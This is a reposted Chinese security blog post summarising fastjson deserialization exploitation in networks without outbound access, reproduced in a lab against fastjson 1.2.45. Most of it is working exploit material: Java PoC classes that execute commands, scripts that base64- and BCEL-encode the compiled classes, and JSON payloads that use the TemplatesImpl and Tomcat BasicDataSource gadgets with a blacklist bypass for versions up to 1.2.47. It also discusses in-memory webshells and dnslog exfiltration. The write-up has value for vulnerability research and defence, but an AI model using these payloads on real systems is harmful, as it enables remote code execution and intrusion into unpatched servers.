|
原文链接:fastjson 不出网利用总结
前言
之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。
0x00 利用方式
目前公开已知的poc有两个:
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,参考如下代码:
- JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});
复制代码
第二种利用方式则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar
对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。
而且对于不同的Tomcat版本使用的poc也不同:
• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource
0x01 利用复现
环境配置:
• fastjson 1.2.45 • 代码参考 vulhub
• 服务器:Windows Server 2012 r2
• jdk版本:jdk8u112
1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这里使用的是SpringBoot自带的Tomcat复现的漏洞。由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import java.io.IOException;
- public class Calc extends AbstractTranslet {
- public Calc() throws IOException {
- Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
- }
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
- }
- @Override
- public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
- }
- public static void main(String[] args) throws Exception {
- Calc t = new Calc();
- }
- }
复制代码 通过命令行执行javac Poc.java得到class文件,然后通过python脚本得到该文件的base64编码:
- import base64
- with open(r"Poc.class", "rb") as file:
- s = base64.b64encode(file.read())
- print(s.decode('utf-8'))
复制代码 由于fastjson在1.2.25版本之后增加了黑名单机制,因此网上直接找到的poc并不能直接拿来用,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
- {
- "a": {
- "@type": "java.lang.Class",
- "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
- },
- "b": {
- "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
- "_bytecodes": ["poc.class_base64"],
- '_name': 'a.b',
- '_tfactory': {},
- "_outputProperties": {},
- "_name": "b",
- "_version": "1.0",
- "allowedProtocols": "all"
- }
- }
复制代码
直接弹出计算器:
2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource利用环境需要实际下载Tomcat应用环境或者在maven中配置如下依赖:
- <dependency>
- <groupId>org.apache.tomcat</groupId>
- <artifactId>tomcat-dbcp</artifactId>
- <version>9.0.8</version>
- </dependency>
复制代码
我这里使用的是从Tomcat官网下载的Tomcat8.5.61,需要将springboot打成war包进行部署。
准备的Poc如下:
- public class Poc{
- static {
- try{
- Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
- } catch (Exception e) {
- }
- }
- }
- // 在构造函数中写也可以
- public class Poc{
- public Poc(){
- try{
- Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
- } catch (Exception e) {
- }
- }
- }
复制代码
首先在命令行下运行javac Poc.java得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL编码(编码内容保存在res.txt中)。
这里有个坑,需要注意下,我直接在本机环境(jdk8u271)下运行结果输出的内容特别短,根本没有进行编码,怀疑是高版本对该函数做了修改,后来直接用测试服务器的jdk8u112运行代码得到的编码。
- import com.sun.org.apache.bcel.internal.classfile.Utility;
- import java.io.BufferedWriter;
- import java.io.FileWriter;
- import java.io.IOException;
- import java.nio.file.Files;
- import java.nio.file.Path;
- import java.nio.file.Paths;
- public class Test{
- public static void main(String[] args) throws IOException {
- Path path = Paths.get("C:\\Users\\Administrator\\Desktop\\Poc.class");
- byte[] bytes = Files.readAllBytes(path);
- System.out.println(bytes.length);
- String result = Utility.encode(bytes,true);
- BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\Users\\Administrator\\Desktop\\res.txt"));
- bw.write("$BCEL$" + result);
- bw.close();
- }
- }
复制代码 同上由于fastjson在1.2.25版本之后增加了黑名单机制,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
- {
- "a": {
- "@type": "java.lang.Class",
- "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
- },
- "b": {
- "@type": "java.lang.Class",
- "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
- },
- "c": {
- "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
- "driverClassLoader": {
- "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
- },
- "driverClassName": "BCELencode"
- }
- }
复制代码
不知道是什么问题,计算器有时候能弹出界面,有时候只能在任务管理器里看到:
0x02 一点思考
第一个Poc比较难利用,第二个在1.2.47以下版本还可以利用,所以就想试试插入一个内存webshell或者是执行命令有回显。
1. 内存webshell这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错:
看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader没有加载到AbstractTranslet这个类,由于对内存shell的代码不了解,不知道针对这种情况情况的代码怎么修改,暂时作罢。
2. 命令执行回显常见的回显方式有三种:
- 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
- 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
- 直接将命令执行结果回显到请求Poc的HTTP响应中。
0x03 参考链接
https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://xz.aliyun.com/t/7104
Fastjson反序列化进攻利用
SpringBoot内存shell
https://xz.aliyun.com/t/7740
后记
第一种需要提前知道物理路径才能写文件,可以直接利用,这里就不细说了。第二种通过dnslog.cn和ceye.io也用得比较多了,但是数据量大了之后就不方便外带了。第三种在网上有很多文章,我自己尝试了下但是很多报错都跟上图一样提示NoClassDefFoundError,不知道有没有师傅有解决办法。
|
|